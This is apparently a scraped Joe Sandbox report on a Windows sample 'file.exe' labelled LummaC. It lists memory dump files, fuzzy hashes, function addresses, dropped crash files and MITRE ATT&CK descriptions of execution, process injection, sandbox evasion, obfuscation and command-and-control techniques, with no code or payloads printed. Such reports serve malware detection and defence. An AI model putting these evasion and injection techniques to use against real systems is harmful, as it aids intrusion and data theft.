Associated: 00000000.00000002.2058322956.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058335698.0000000000BB2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058348411.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058364247.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058394864.0000000000BCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058408037.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058420591.0000000000BD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058434889.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058449175.0000000000BD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058463073.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058475733.0000000000BDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058491758.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058507352.0000000000BEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058520291.0000000000BEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058535672.0000000000BF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058552838.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058570169.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058584265.0000000000BF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058599241.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058614835.0000000000C02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058632286.0000000000C09000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058648312.0000000000C0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058665140.0000000000C0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058680661.0000000000C13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700767.0000000000C2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058714999.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058740983.0000000000C2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058800807.0000000000C6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058814719.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058834107.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5dbba5d82b86af4903b47d4c354767ec8aa2756cdb4ac0c137cf9a96115c0cd
Instruction ID: 1b6858da118020e8b3006d07f524e09f21cdd2df892b3cff8864bf6243d3d652
Opcode Fuzzy Hash: b5dbba5d82b86af4903b47d4c354767ec8aa2756cdb4ac0c137cf9a96115c0cd
Instruction Fuzzy Hash: 87C01234AAE0018B82088F04A8A9832A7B9A30A308740602ADA02E3631CA20C80AA909

Function 00991A3C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058322956.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058335698.0000000000BB2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058348411.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058364247.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058377490.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058394864.0000000000BCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058408037.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058420591.0000000000BD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058434889.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058449175.0000000000BD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058463073.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058475733.0000000000BDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058491758.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058507352.0000000000BEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058520291.0000000000BEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058535672.0000000000BF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058552838.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058570169.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058584265.0000000000BF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058599241.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058614835.0000000000C02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058632286.0000000000C09000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058648312.0000000000C0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058665140.0000000000C0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058680661.0000000000C13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700767.0000000000C2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058714999.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058740983.0000000000C2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058756223.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058800807.0000000000C6A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058814719.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058834107.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058851143.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058864949.0000000000C8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897121.0000000000C98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058918154.0000000000C99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1b2f6648e32e3cbc9170f2c9cebbdb93cf112ab3df0b06bf0f03a14c609ffae
Instruction ID: d479070ce360c0755beaf89a6cedec84e12a4c1cac33edfcb24e8b1172b02018
Opcode Fuzzy Hash: e1b2f6648e32e3cbc9170f2c9cebbdb93cf112ab3df0b06bf0f03a14c609ffae
Instruction Fuzzy Hash: DAC04C24EAD0418A86488E8AA8A5831A6A95306308710343A9602E7671C560D4099509

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_10ade8c62e1e5b932c9965c096b42c43be687_852b229c_5b3260ed-724a-42b7-8cd0-f6e1e5b02db9\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_51d3ab169e1892723c87a9e6928df66633d59e12_852b229c_53dca978-770f-4bbd-b782-bf3ee498f1fa\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB9A5.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC00E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC07D.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
file.exe

Function 0098FCA0 Relevance: 6.6, Strings: 5, Instructions: 373
COMMON

Function 0099049B Relevance: .3, Instructions: 264
COMMON

Function 00990228 Relevance: .2, Instructions: 218
COMMON

Function 0098D110 Relevance: .2, Instructions: 168
COMMON

Function 009C99D0 Relevance: .1, Instructions: 143
COMMON

Function 009C3220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Function 009C5BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 00992F6F Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Function 00992F10 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON